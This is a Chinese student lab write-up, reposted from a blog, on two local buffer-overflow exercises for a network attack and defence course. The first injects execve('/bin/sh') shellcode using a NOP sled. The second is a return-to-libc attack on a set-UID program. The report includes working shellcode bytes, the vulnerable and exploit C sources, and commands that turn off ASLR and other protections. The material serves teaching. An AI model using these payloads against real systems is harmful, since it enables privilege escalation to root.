20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验
20145330 《网络对抗》PC平台逆向破解:注入shellcode
实验步骤
1、用于获取shellcode的C语言代码
2、设置环境
Bof攻击防御技术
- 需要手动设置环境使注入的shellcode到堆栈上可执行。
- 具体在终端输入如下:
root@KaliYL:~# execstack -s pwnyx //设置堆栈可执行root@KaliYL:~# execstack -q pwnyx //查询文件的堆栈是否可执行X pwn1root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 2root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 0
在输入前需要安装execstack
,
apt-cache search execstackapt-get install execstack
第一次安装并没有成功,在请教了张梓同学后得知是虚拟机没有连网,所以无法安装成功,需要关闭虚拟机,选择网络适配器将网桥改为net,再次打开虚拟机输入命令安装成功。
3. 构造要注入的payload
我们这个buf够放在shellcode,结构为:nops+shellcode+retaddr。nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
- 在终端中输入如下:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。 - 接下来确定\x4\x3\x2\x1到底该填什么。
打开一个终端注入这段攻击buf:
再开另外一个终端,用gdb来调试pwnyx这个进程,找到pwnyx的进程号
//1、找到pwnyx的进程号是:2440
//2、启动gdb调试这个进程
ret完,就跳到我们覆盖的retaddr那个地方了
通过设置断点,来查看注入buf的内存地址
此时在gdb中输入break *0x080484ae,并且在另外一个终端中按下回车
通过如下方式寻找需要输入的地址:
看到01020304了,就表明了这是返回地址的位置,也就是说0Xffffd32c是此时的位置。shellcode就紧紧的挨着这个地址,所以要输入地址是0xffffd330
回到另一个终端(将之前那个终端quit退出),将input_shellcode修改如下:
perl -e 'print "A" x 32;print "\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
并没有成功,查找原因。
重新又来了一遍...结果发现是粘贴代码的时候\x30\xd3(我的输入地址)这里粘成\x30\xd6了...结果死活检查不出来,以后还是要细心一些。就当巩固知识了。
成功。
20145330 Return-to-libc 攻击实验
一、实验描述
在做过缓冲区溢出漏洞实验后,进行了本次实验。
缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。但是保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。
这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。
二、实验准备
提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。
1、输入命令安装一些用于编译 32 位 C 程序的东西:
sudo apt-get updatesudo apt-get install lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev
2、输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash:
三、实验步骤
3.1 初始设置
Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多 shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序:
sudo sucd /binrm shln -s zsh shexit
为了防止缓冲区溢出攻击,最近版本的 gcc 编译器默认将程序编译设置为栈不可执行,而你可以在编译的时候手动设置是否使栈不可执行:
gcc -z execstack -o test test.c #栈可执行gcc -z noexecstack -o test test.c #栈不可执行
本次实验的目的,就是展示这个“栈不可执行”的保护措施并不是完全有效,所以我们使用“-z noexecstack”,或者不手动指定而使用编译器的默认设置。
3.2 漏洞程序
把以下代码保存为“retlib.c”文件,保存到 /tmp 目录下。代码如下:
#include <stdlib.h>#include <stdio.h>#include <string.h>int bof(FILE *badfile){char buffer[12];/* The following statement has a buffer overflow problem */fread(buffer, sizeof(char), 40, badfile);return 1;}int main(int argc, char **argv){FILE *badfile;badfile = fopen("badfile", "r");bof(badfile);printf("Returned Properly\n");fclose(badfile);return 1;}
编译该程序,并设置 SET-UID。命令如下:
sudo sugcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.cchmod u+s retlibexit
上述程序有一个缓冲区溢出漏洞,它先从一个叫“badfile”的文件里把 40 字节的数据读取到 12 字节的 buffer,引起溢出。fread()函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做“badfile”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 root shell 。
我们还需要用到一个读取环境变量的程序:
/* getenvaddr.c */#include <stdio.h>#include <stdlib.h>#include <string.h>int main(int argc, char const *argv[]){char *ptr;if(argc < 3){printf("Usage: %s <environment var> <target program name>\n", argv[0]);exit(0);}ptr = getenv(argv[1]);ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;printf("%s will be at %p\n", argv[1], ptr);return 0;}
3.3 攻击程序
把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:
/* exploit.c */#include <stdlib.h>#include <stdio.h>#include <string.h>int main(int argc, char **argv){char buf[40];FILE *badfile;badfile = fopen(".//badfile", "w");strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times*(long *) &buf[32] =0x11111111; // "//bin//sh"*(long *) &buf[24] =0x22222222; // system()*(long *) &buf[36] =0x33333333; // exit()fwrite(buf, sizeof(buf), 1, badfile);fclose(badfile);}
代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址,需要我们接下来获取。
3.4 获取内存地址
1、用刚才的 getenvaddr 程序获得 BIN_SH 地址:
我的地址为0xffffdef4
2、gdb 获得 system 和 exit 地址:
修改 exploit.c 文件,填上刚才找到的内存地址:
删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c:
3.5 攻击
先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限:
运行攻击程序,生成badlife文件
运行漏洞程序,可见攻击成功,获得了root权限。
转载于:https://www.cnblogs.com/20145330swx/p/6514359.html
20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验相关推荐
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- 2019-2020-2 20175227张雪莹《网络对抗技术》 Exp1 PC平台逆向破解
2019-2020-2 20175227张雪莹<网络对抗技术> Exp1 PC平台逆向破解 目录 0. 实验目标 1. 实验内容 1.1 直接修改程序机器指令,改变程序执行流程 1.2 通 ...
- 2018-2019-2 20165234 《网络对抗技术》 Exp1 PC平台逆向破解
实验一 PC平台逆向破解 实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另 ...
- 20155220 吴思其 《网络攻防》 Exp1 PC平台逆向破解(5)M
20155220 <网络攻防> Exp1 PC平台逆向破解(5)M 实践内容 通过对实践对象--20155220pwn1的linux可执行文件的修改或输入,完成以下三块: 手工修改可执行文 ...
- Exp1 PC平台逆向破解(5)M
Exp1 PC平台逆向破解(5)M 实践内容 实践对象是一个可执行文件pwn1 本程序的正常执行顺序应该是main函数调用foo函数,foo函数输出用户输入的字符串. 本程序还包含了另一个代码片段ge ...
- 20145203盖泽双《网络对抗技术》拓展:注入:shellcode及return-into-libc攻击
20145203盖泽双<网络对抗技术>拓展:注入:shellcode及return-into-libc攻击 一.注入:shellcode 1.编写一段用于获取Shellcode的C语言代码 ...
- 2017-2018-2 『网络对抗技术』Exp1:PC平台逆向破解 20165335
一.实验目标: 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,get ...
- 20162318 2018-2019-2《网络对抗技术》Exp1 PC平台逆向破解
一.实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getS ...
- 20165307《网络对抗技术》Exp1 PC平台逆向破解
实验内容 手工修改可执行文件,改变程序执行流程,直接跳转到getShell 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数 注入一个自己制作的shellco ...
最新文章
- 产品需求管理中的四大难点
- 如何使用Azure API管理服务?
- 证照编号与所选择的主体类型不一致_你的孩子天天在用“化妆品”,如何不踩雷?...
- Android 6.0 Changes
- Excel 不能直接打开文件的解决方法
- Solr操作中新手常见问题
- 互联网晚报 | 04月05日 星期二 |​ ​​​考研调剂系统明日开通;微软Edge浏览器宣布10天后退出历史舞台...
- hdu 1286找新朋友 (简单数学题)
- android开发界面 淡出,Android 界面淡出 淡入效果
- Modbus通讯两种传输方式
- pytorch核心模块
- ITPUB那些事儿——写在pub十周年之际
- 【转】oracle in和exists、not in和not exists原理和性能探究
- 服务器实体机与虚拟机,八种虚拟机与实机之间数据交互的方法|虚拟机与实体机之间的互连与数据交换方法...
- VMware Workstation Pro 15安装和Win 10虚拟机安装
- 如何升级php到最新版本_如何将PHP升级到最新版本
- 王心凌的「爱你」,我们用Python跳起来!
- 100个成功创业经验方法谈
- 浏览器访问不了localhost
- html5考试总结300字,中段考试总结作文300精选集锦